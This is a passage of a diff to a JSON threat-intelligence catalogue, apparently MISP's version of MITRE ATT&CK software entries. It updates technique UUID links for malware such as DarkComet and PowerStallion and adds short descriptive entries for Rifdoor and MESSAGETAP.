@@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27883,7 +32040,7 @@ }, "related": [ { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27897,7 +32054,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27911,7 +32068,7 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27925,28 +32082,28 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -27981,7 +32138,14 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28007,13 +32171,6 @@ ] }, "related": [ - { - "dest-uuid": "dd901512-6e37-4155-943b-453e3777b125", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", "tags": [ @@ -28022,14 +32179,14 @@ "type": "uses" }, { - "dest-uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28055,6 +32212,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "d10cbd34-42e3-45c0-84d2-535a09849584", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "4a98e44a-bd52-461e-af1e-a4457de87a36", @@ -28126,28 +32290,28 @@ "type": "uses" }, { - "dest-uuid": "91ce1ede-107f-4d8b-bf4c-735e8789c94b", + "dest-uuid": "a2029942-0a85-4947-b23c-ca434698171d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "18d4ab39-12ed-4a16-9fdb-ae311bba4a0f", + "dest-uuid": "dca670cf-eeec-438f-8185-fd959d9ef211", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28161,7 +32325,7 @@ "type": "uses" }, { - "dest-uuid": "9e09ddb2-1746-4448-9cad-7f8b41777d6d", + "dest-uuid": "1eaebf46-e361-4437-bc23-d5d65a3b92e3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28230,70 +32394,63 @@ }, "related": [ { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2169ba87-1146-4fc7-a118-12b72251db7e", + "dest-uuid": "1365fe3b-0f50-455d-b4da-266ce31c23b0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "91ce1ede-107f-4d8b-bf4c-735e8789c94b", + "dest-uuid": "a2029942-0a85-4947-b23c-ca434698171d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "dd901512-6e37-4155-943b-453e3777b125", + "dest-uuid": "2bce5b30-7014-4a5d-ade7-12913fe6ac36", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28307,7 +32464,7 @@ "type": "uses" }, { - "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", + "dest-uuid": "01327cde-66c4-4123-bf34-5f258d59457b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28321,7 +32478,21 @@ "type": "uses" }, { - "dest-uuid": "4579d9c9-d5b9-45e0-9848-0104637b579f", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d10cbd34-42e3-45c0-84d2-535a09849584", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1eaebf46-e361-4437-bc23-d5d65a3b92e3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28444,14 +32615,14 @@ "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28465,7 +32636,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28479,7 +32650,7 @@ "type": "uses" }, { - "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28518,7 +32689,7 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28532,14 +32703,14 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28553,7 +32724,7 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28566,13 +32737,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", "tags": [ @@ -28581,14 +32745,14 @@ "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28609,7 +32773,7 @@ "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28623,7 +32787,21 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28633,6 +32811,89 @@ "uuid": "53ab35c2-d00e-491a-8753-41d35ae7e547", "value": "DarkComet - S0334" }, + { + "description": "[Rifdoor](https://attack.mitre.org/software/S0433) is a remote access trojan (RAT) that shares numerous code similarities with [HotCroissant](https://attack.mitre.org/software/S0431).(Citation: Carbon Black HotCroissant April 2020)", + "meta": { + "external_id": "S0433", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0433", + "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/" + ], + "synonyms": [ + "Rifdoor" + ] + }, + "related": [ + { + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "44c75271-0e4d-496f-ae0a-a6d883a42a65", + "value": "Rifdoor - S0433" + }, { "description": "[Carbon](https://attack.mitre.org/software/S0335) is a sophisticated, second-stage backdoor and framework that can be used to steal sensitive information from victims. [Carbon](https://attack.mitre.org/software/S0335) has been selectively used by [Turla](https://attack.mitre.org/groups/G0010) to target government and foreign affairs-related organizations in Central Asia.(Citation: ESET Carbon Mar 2017)(Citation: Securelist Turla Oct 2018)", "meta": { @@ -28658,14 +32919,14 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28714,7 +32975,7 @@ "type": "uses" }, { - "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28728,7 +32989,7 @@ "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28742,7 +33003,7 @@ "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28756,7 +33017,7 @@ "type": "uses" }, { - "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28784,7 +33045,7 @@ }, "related": [ { - "dest-uuid": "66f73398-8394-4711-85e5-34c8540b22a5", + "dest-uuid": "f5946b5e-9408-485f-a7f7-b5efc88909b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28798,7 +33059,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28840,7 +33101,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "9a60a291-8960-4387-8a4a-2ab5c18bb50b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28854,28 +33115,35 @@ "type": "uses" }, { - "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28912,14 +33180,14 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28940,21 +33208,21 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -28989,7 +33257,14 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29024,7 +33299,7 @@ "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29044,13 +33319,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", "tags": [ @@ -29066,7 +33334,7 @@ "type": "uses" }, { - "dest-uuid": "d21a2069-23d5-4043-ad6d-64f6b644cb1a", + "dest-uuid": "a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29080,7 +33348,7 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29101,7 +33369,7 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29115,14 +33383,14 @@ "type": "uses" }, { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29143,28 +33411,28 @@ "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29178,21 +33446,35 @@ "type": "uses" }, { - "dest-uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", + "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29219,7 +33501,7 @@ }, "related": [ { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29233,21 +33515,21 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29282,7 +33564,7 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29296,7 +33578,14 @@ "type": "uses" }, { - "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29379,7 +33668,7 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29407,7 +33696,7 @@ "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29428,7 +33717,7 @@ "type": "uses" }, { - "dest-uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29442,28 +33731,28 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29504,21 +33793,14 @@ "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29532,7 +33814,7 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -29542,6 +33824,82 @@ "uuid": "dcac85c1-6485-4790-84f6-de5e6f6b91dd", "value": "PowerStallion - S0393" }, + { + "description": "[MESSAGETAP](https://attack.mitre.org/software/S0443) is a data mining malware family deployed by [APT41](https://attack.mitre.org/groups/G0096) into telecommunications networks to monitor and save SMS traffic from specific phone numbers, IMSI numbers, or that contain specific keywords. (Citation: FireEye MESSAGETAP October 2019)", + "meta": { + "external_id": "S0443", + "mitre_platforms": [ + "Linux" + ], + "refs": [ + "https://attack.mitre.org/software/S0443", + "https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html" + ], + "synonyms": [ + "MESSAGETAP" + ] + }, + "related": [ + { + "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": 